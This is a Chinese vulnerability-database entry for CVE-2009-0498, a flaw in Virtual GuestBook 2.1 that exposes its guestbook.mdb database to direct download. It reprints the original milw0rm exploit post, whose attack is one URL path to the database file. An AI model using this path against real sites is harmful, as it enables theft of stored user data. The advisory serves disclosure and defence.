Minitdesign Virtual GuestBook guestbook.mdb权限许可和访问控制漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117229 漏洞类型 权限许可和访问控制
发布时间 2009-01-13 更新时间 2009-02-09
CVE编号 CVE-2009-0498 CNNVD-ID CNNVD-200902-245
漏洞平台 ASP CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/7744
https://www.securityfocus.com/bid/79608
https://cxsecurity.com/issue/WLB-2009020154
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-245
|漏洞详情
VirtualGuestBook是一款简单的访客留言簿程序。VirtualGuestBook(vgbook)2.1版本在web根目录下储存敏感信息而未赋予足够的访问控制,这使得远程攻击者可以借助一个对guestbook.mdb的直接请求,下载数据库文件。
|漏洞EXP
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================

==============================================================================
    Virtual GuestBook v2.1 Remote Database Disclosure Vulnerability
==============================================================================

	[»] Script:             [ Virtual GuestBook v2.1  ]
	[»] Language:           [ ASP ]
	[»] Website:            [ http://www.minitdesign.com/vgbook.asp ]
	[»] Founder:            [ Moudi <m0udi@9.cn> ]
        [»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]
        [»] Team:               [ EvilWay ]

###########################################################################

===[ Exploit ]===	
	
	[»] http://localhost/[path]/database/guestbook.mdb


Author: Moudi

###########################################################################

# milw0rm.com [2009-01-13]
|受影响的产品
Minitdesign Virtual Guestbook 2.1
|参考资料

来源:MILW0RM
名称:7744
链接:http://www.milw0rm.com/exploits/7744